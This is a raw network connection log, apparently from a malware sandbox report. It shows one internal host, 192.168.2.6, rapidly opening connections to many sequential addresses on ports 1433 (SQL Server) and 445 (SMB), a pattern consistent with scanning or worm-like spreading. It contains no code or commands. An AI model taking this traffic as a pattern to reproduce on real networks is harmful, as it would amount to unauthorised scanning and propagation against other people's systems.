Jul 6, 2024 14:11:36.125217915 CEST	1433	52719	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.125226974 CEST	1433	52717	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:36.125449896 CEST	445	52724	192.168.4.39	192.168.2.6
Jul 6, 2024 14:11:36.125682116 CEST	1433	52726	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.126209974 CEST	445	52731	192.168.4.40	192.168.2.6
Jul 6, 2024 14:11:36.126581907 CEST	52729	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:36.126583099 CEST	52733	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.126583099 CEST	52718	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.126583099 CEST	52720	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.126826048 CEST	52731	445	192.168.2.6	192.168.4.40
Jul 6, 2024 14:11:36.126826048 CEST	52731	445	192.168.2.6	192.168.4.40
Jul 6, 2024 14:11:36.131622076 CEST	1433	52727	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.133609056 CEST	445	52729	192.168.3.167	192.168.2.6
Jul 6, 2024 14:11:36.134344101 CEST	52722	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.134344101 CEST	52718	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.134344101 CEST	52720	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.134345055 CEST	52722	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.134345055 CEST	52724	445	192.168.2.6	192.168.4.39
Jul 6, 2024 14:11:36.134345055 CEST	52726	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.134345055 CEST	52724	445	192.168.2.6	192.168.4.39
Jul 6, 2024 14:11:36.135349035 CEST	52726	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.135349035 CEST	52727	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.135349035 CEST	52727	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.137021065 CEST	52735	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:36.139141083 CEST	1433	52733	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.139149904 CEST	1433	52718	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.139591932 CEST	1433	52718	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.139635086 CEST	1433	52720	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.139645100 CEST	1433	52722	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.139683008 CEST	1433	52720	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.139933109 CEST	1433	52722	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.140677929 CEST	445	52724	192.168.4.39	192.168.2.6
Jul 6, 2024 14:11:36.140687943 CEST	1433	52726	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.140763044 CEST	52730	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:36.140763044 CEST	52721	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.140763044 CEST	52721	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.140763044 CEST	52723	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:36.140763044 CEST	52723	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:36.142081976 CEST	445	52731	192.168.4.40	192.168.2.6
Jul 6, 2024 14:11:36.143196106 CEST	52738	445	192.168.2.6	192.168.4.41
Jul 6, 2024 14:11:36.145092010 CEST	52739	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.145092010 CEST	52740	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.145092010 CEST	52741	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.145627975 CEST	1433	52728	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:36.145705938 CEST	445	52730	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:36.145718098 CEST	1433	52721	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.145987988 CEST	1433	52721	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.146429062 CEST	52734	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.146430016 CEST	52728	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.147032976 CEST	445	52723	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:36.148082972 CEST	445	52738	192.168.4.41	192.168.2.6
Jul 6, 2024 14:11:36.148164988 CEST	52738	445	192.168.2.6	192.168.4.41
Jul 6, 2024 14:11:36.148257971 CEST	52738	445	192.168.2.6	192.168.4.41
Jul 6, 2024 14:11:36.148801088 CEST	52743	445	192.168.2.6	192.168.4.42
Jul 6, 2024 14:11:36.149075031 CEST	445	52723	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:36.149802923 CEST	52736	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.149802923 CEST	52729	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:36.149802923 CEST	52729	445	192.168.2.6	192.168.3.167
Jul 6, 2024 14:11:36.149804115 CEST	52733	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.149804115 CEST	52733	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.150063038 CEST	1433	52739	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.150125027 CEST	52739	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.150163889 CEST	52739	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.150211096 CEST	1433	52740	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.150257111 CEST	52740	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.150430918 CEST	1433	52741	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.150458097 CEST	52740	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.150480032 CEST	52741	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.150691986 CEST	52741	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.153203964 CEST	445	52738	192.168.4.41	192.168.2.6
Jul 6, 2024 14:11:36.153352022 CEST	1433	52734	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.153532028 CEST	445	52738	192.168.4.41	192.168.2.6
Jul 6, 2024 14:11:36.153613091 CEST	445	52743	192.168.4.42	192.168.2.6
Jul 6, 2024 14:11:36.154146910 CEST	445	52735	192.168.3.168	192.168.2.6
Jul 6, 2024 14:11:36.154166937 CEST	1433	52727	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.154221058 CEST	52738	445	192.168.2.6	192.168.4.41
Jul 6, 2024 14:11:36.154221058 CEST	52743	445	192.168.2.6	192.168.4.42
Jul 6, 2024 14:11:36.154632092 CEST	1433	52727	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.154761076 CEST	1433	52736	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.154802084 CEST	445	52729	192.168.3.167	192.168.2.6
Jul 6, 2024 14:11:36.154917955 CEST	445	52729	192.168.3.167	192.168.2.6
Jul 6, 2024 14:11:36.155009031 CEST	52745	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.155158997 CEST	1433	52739	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.155169010 CEST	1433	52739	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.155252934 CEST	52724	445	192.168.2.6	192.168.4.39
Jul 6, 2024 14:11:36.155252934 CEST	52726	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.155252934 CEST	52744	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.155252934 CEST	52736	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.155319929 CEST	1433	52740	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.155364037 CEST	52746	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.155513048 CEST	1433	52740	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.155586004 CEST	1433	52741	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.155698061 CEST	1433	52741	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.157278061 CEST	52728	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.157278061 CEST	52730	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:36.157278061 CEST	52730	445	192.168.2.6	192.168.3.166
Jul 6, 2024 14:11:36.157278061 CEST	52723	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:36.157279015 CEST	52734	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.157279015 CEST	52734	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.157910109 CEST	1433	52733	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.159890890 CEST	1433	52745	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.159943104 CEST	52745	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.159990072 CEST	52745	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.160299063 CEST	1433	52746	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.160468102 CEST	52746	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.160566092 CEST	52746	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.161024094 CEST	52731	445	192.168.2.6	192.168.4.40
Jul 6, 2024 14:11:36.162204027 CEST	1433	52728	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:36.162520885 CEST	445	52730	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:36.162683964 CEST	445	52730	192.168.3.166	192.168.2.6
Jul 6, 2024 14:11:36.162724972 CEST	445	52723	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:36.163942099 CEST	445	52743	192.168.4.42	192.168.2.6
Jul 6, 2024 14:11:36.164592981 CEST	52747	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:36.164972067 CEST	1433	52734	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.165054083 CEST	1433	52745	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.165252924 CEST	1433	52734	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.165575027 CEST	1433	52745	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.165585041 CEST	1433	52746	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.165638924 CEST	52746	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.165693045 CEST	1433	52746	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.165812969 CEST	52749	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.165828943 CEST	52746	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.165919065 CEST	52743	445	192.168.2.6	192.168.4.42
Jul 6, 2024 14:11:36.165919065 CEST	52743	445	192.168.2.6	192.168.4.42
Jul 6, 2024 14:11:36.165942907 CEST	52750	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.166004896 CEST	52751	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.166218042 CEST	52752	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.167891979 CEST	52754	445	192.168.2.6	192.168.4.43
Jul 6, 2024 14:11:36.169696093 CEST	445	52747	192.168.3.169	192.168.2.6
Jul 6, 2024 14:11:36.169756889 CEST	52747	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:36.169821024 CEST	52747	445	192.168.2.6	192.168.3.169
Jul 6, 2024 14:11:36.169907093 CEST	1433	52744	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.170480967 CEST	52733	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.170480967 CEST	52736	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.170480967 CEST	52748	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.170480967 CEST	52744	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.170593023 CEST	1433	52746	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.170602083 CEST	1433	52749	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.170722961 CEST	1433	52746	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.170742035 CEST	445	52743	192.168.4.42	192.168.2.6
Jul 6, 2024 14:11:36.170804024 CEST	1433	52750	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.170959949 CEST	52750	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.171107054 CEST	1433	52751	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.171674967 CEST	1433	52752	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.173301935 CEST	52750	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.173301935 CEST	52751	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.173301935 CEST	52751	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.173301935 CEST	52756	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.174612999 CEST	445	52747	192.168.3.169	192.168.2.6
Jul 6, 2024 14:11:36.175066948 CEST	445	52747	192.168.3.169	192.168.2.6
Jul 6, 2024 14:11:36.175504923 CEST	1433	52736	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.176407099 CEST	1433	52750	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.177007914 CEST	445	52754	192.168.4.43	192.168.2.6
Jul 6, 2024 14:11:36.177143097 CEST	52754	445	192.168.2.6	192.168.4.43
Jul 6, 2024 14:11:36.177201986 CEST	52750	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.177202940 CEST	52750	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.178811073 CEST	1433	52750	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.178860903 CEST	1433	52751	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.178870916 CEST	1433	52756	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.178970098 CEST	52757	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.179172993 CEST	52754	445	192.168.2.6	192.168.4.43
Jul 6, 2024 14:11:36.179208040 CEST	1433	52751	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.179425001 CEST	52735	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:36.179425001 CEST	52735	445	192.168.2.6	192.168.3.168
Jul 6, 2024 14:11:36.179718971 CEST	52744	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.179718971 CEST	52736	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.179719925 CEST	52758	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.180006027 CEST	52749	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.180006027 CEST	52755	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.180006027 CEST	52749	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.180006027 CEST	52752	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.180006027 CEST	52752	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.180233955 CEST	52756	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.180233955 CEST	52756	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.181968927 CEST	1433	52736	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.181977987 CEST	1433	52748	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.182080984 CEST	1433	52750	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.182087898 CEST	1433	52750	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.182148933 CEST	445	52754	192.168.4.43	192.168.2.6
Jul 6, 2024 14:11:36.182383060 CEST	52754	445	192.168.2.6	192.168.4.43
Jul 6, 2024 14:11:36.183716059 CEST	52761	445	192.168.2.6	192.168.4.44
Jul 6, 2024 14:11:36.184952974 CEST	445	52754	192.168.4.43	192.168.2.6
Jul 6, 2024 14:11:36.184981108 CEST	1433	52758	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.184992075 CEST	52759	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.185007095 CEST	1433	52744	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.185177088 CEST	1433	52756	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.189754009 CEST	1433	52756	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.190252066 CEST	1433	52755	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.190259933 CEST	1433	52749	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.190284967 CEST	1433	52757	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.190325022 CEST	445	52735	192.168.3.168	192.168.2.6
Jul 6, 2024 14:11:36.190558910 CEST	52755	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.190558910 CEST	52762	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.190558910 CEST	52755	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.191050053 CEST	52757	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.191050053 CEST	52757	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.192142010 CEST	52748	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.192142010 CEST	52748	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.192142010 CEST	52758	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.192142010 CEST	52744	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.192841053 CEST	1433	52749	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.192851067 CEST	1433	52752	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.192904949 CEST	445	52735	192.168.3.168	192.168.2.6
Jul 6, 2024 14:11:36.194539070 CEST	52752	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.194643974 CEST	1433	52759	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:36.194663048 CEST	445	52761	192.168.4.44	192.168.2.6
Jul 6, 2024 14:11:36.194720030 CEST	52759	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.195225954 CEST	52759	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.195326090 CEST	52761	445	192.168.2.6	192.168.4.44
Jul 6, 2024 14:11:36.195997000 CEST	52761	445	192.168.2.6	192.168.4.44
Jul 6, 2024 14:11:36.196048975 CEST	52758	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.196316004 CEST	52765	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:36.197065115 CEST	1433	52748	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.197621107 CEST	52763	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.197731018 CEST	1433	52748	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.198065996 CEST	1433	52757	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.198158026 CEST	52768	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.198277950 CEST	1433	52757	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.199304104 CEST	1433	52755	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.199376106 CEST	1433	52762	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.199434042 CEST	1433	52755	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.200083017 CEST	1433	52759	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:36.200090885 CEST	1433	52758	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.200339079 CEST	1433	52759	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:36.200395107 CEST	445	52761	192.168.4.44	192.168.2.6
Jul 6, 2024 14:11:36.200732946 CEST	52772	445	192.168.2.6	192.168.4.45
Jul 6, 2024 14:11:36.200859070 CEST	445	52761	192.168.4.44	192.168.2.6
Jul 6, 2024 14:11:36.201016903 CEST	1433	52758	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.201334953 CEST	445	52765	192.168.3.172	192.168.2.6
Jul 6, 2024 14:11:36.202816010 CEST	52758	1433	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:36.203107119 CEST	1433	52768	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.204021931 CEST	1433	52763	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:36.205027103 CEST	52768	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.205027103 CEST	52768	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.205765009 CEST	52767	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.205765009 CEST	52761	445	192.168.2.6	192.168.4.44
Jul 6, 2024 14:11:36.205765009 CEST	52765	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:36.205765009 CEST	52765	445	192.168.2.6	192.168.3.172
Jul 6, 2024 14:11:36.207633972 CEST	52770	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.209676027 CEST	445	52772	192.168.4.45	192.168.2.6
Jul 6, 2024 14:11:36.209975958 CEST	52772	445	192.168.2.6	192.168.4.45
Jul 6, 2024 14:11:36.210181952 CEST	52755	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.210181952 CEST	52755	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.210181952 CEST	52762	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.210181952 CEST	52762	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.210181952 CEST	52759	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.210181952 CEST	52763	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.210287094 CEST	1433	52768	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.210458994 CEST	52772	445	192.168.2.6	192.168.4.45
Jul 6, 2024 14:11:36.211119890 CEST	1433	52768	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:36.211955070 CEST	1433	52767	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.211993933 CEST	445	52765	192.168.3.172	192.168.2.6
Jul 6, 2024 14:11:36.212034941 CEST	445	52765	192.168.3.172	192.168.2.6
Jul 6, 2024 14:11:36.212667942 CEST	52774	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.213501930 CEST	52767	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.213571072 CEST	1433	52770	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.213876009 CEST	52776	445	192.168.2.6	192.168.4.46
Jul 6, 2024 14:11:36.215509892 CEST	1433	52758	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:36.215656996 CEST	445	52772	192.168.4.45	192.168.2.6
Jul 6, 2024 14:11:36.215706110 CEST	52772	445	192.168.2.6	192.168.4.45
Jul 6, 2024 14:11:36.217082024 CEST	52763	1433	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:36.217796087 CEST	1433	52755	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.217804909 CEST	1433	52755	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.217809916 CEST	1433	52762	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.218159914 CEST	1433	52762	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:36.218843937 CEST	445	52776	192.168.4.46	192.168.2.6
Jul 6, 2024 14:11:36.218902111 CEST	52776	445	192.168.2.6	192.168.4.46
Jul 6, 2024 14:11:36.219171047 CEST	52770	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.219171047 CEST	52770	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.219763994 CEST	1433	52767	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.219811916 CEST	52767	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.221833944 CEST	1433	52763	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:36.224293947 CEST	445	52776	192.168.4.46	192.168.2.6
Jul 6, 2024 14:11:36.224343061 CEST	52776	445	192.168.2.6	192.168.4.46
Jul 6, 2024 14:11:36.225503922 CEST	52776	445	192.168.2.6	192.168.4.46
Jul 6, 2024 14:11:36.225553989 CEST	52767	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.226387978 CEST	52778	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.227849007 CEST	52781	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.229623079 CEST	1433	52770	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.229671001 CEST	52764	445	192.168.2.6	192.168.3.170
Jul 6, 2024 14:11:36.229671001 CEST	52766	445	192.168.2.6	192.168.3.171
Jul 6, 2024 14:11:36.229671001 CEST	52771	1433	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:36.229671001 CEST	52775	1433	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:36.229671001 CEST	52777	1433	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:36.229935884 CEST	52779	445	192.168.2.6	192.168.4.47
Jul 6, 2024 14:11:36.230396986 CEST	1433	52774	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.230407000 CEST	445	52776	192.168.4.46	192.168.2.6
Jul 6, 2024 14:11:36.230417013 CEST	1433	52767	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.230601072 CEST	1433	52770	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:36.231352091 CEST	1433	52778	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.231798887 CEST	52782	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.231798887 CEST	52778	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.231798887 CEST	52778	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.232844114 CEST	1433	52781	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.234297037 CEST	52781	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.234297037 CEST	52781	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.234466076 CEST	445	52764	192.168.3.170	192.168.2.6
Jul 6, 2024 14:11:36.234658003 CEST	445	52766	192.168.3.171	192.168.2.6
Jul 6, 2024 14:11:36.234807014 CEST	1433	52771	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:36.235034943 CEST	52774	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.235034943 CEST	52774	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.235034943 CEST	52783	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.239051104 CEST	1433	52782	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.239065886 CEST	1433	52778	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.239381075 CEST	1433	52778	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:36.239744902 CEST	1433	52781	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.240047932 CEST	52782	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.240047932 CEST	52782	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.240047932 CEST	52781	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.240325928 CEST	445	52779	192.168.4.47	192.168.2.6
Jul 6, 2024 14:11:36.240509987 CEST	52779	445	192.168.2.6	192.168.4.47
Jul 6, 2024 14:11:36.240510941 CEST	52779	445	192.168.2.6	192.168.4.47
Jul 6, 2024 14:11:36.240830898 CEST	1433	52774	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.240874052 CEST	52774	1433	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:36.241808891 CEST	1433	52783	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:36.242965937 CEST	52783	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.242966890 CEST	52783	1433	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:36.245007992 CEST	52785	445	192.168.2.6	192.168.3.174
Jul 6, 2024 14:11:36.245007992 CEST	52786	445	192.168.2.6	192.168.3.173
Jul 6, 2024 14:11:36.245702028 CEST	445	52779	192.168.4.47	192.168.2.6
Jul 6, 2024 14:11:36.245734930 CEST	52770	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.245738029 CEST	445	52779	192.168.4.47	192.168.2.6
Jul 6, 2024 14:11:36.246010065 CEST	52779	445	192.168.2.6	192.168.4.47
Jul 6, 2024 14:11:36.246531963 CEST	1433	52782	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.246541023 CEST	1433	52782	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:36.246773005 CEST	52784	1433	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:36.246773005 CEST	52787	445	192.168.2.6	192.168.4.48
Jul 6, 2024 14:11:36.246773005 CEST	52789	1433	192.168.2.6	192.168.0.27
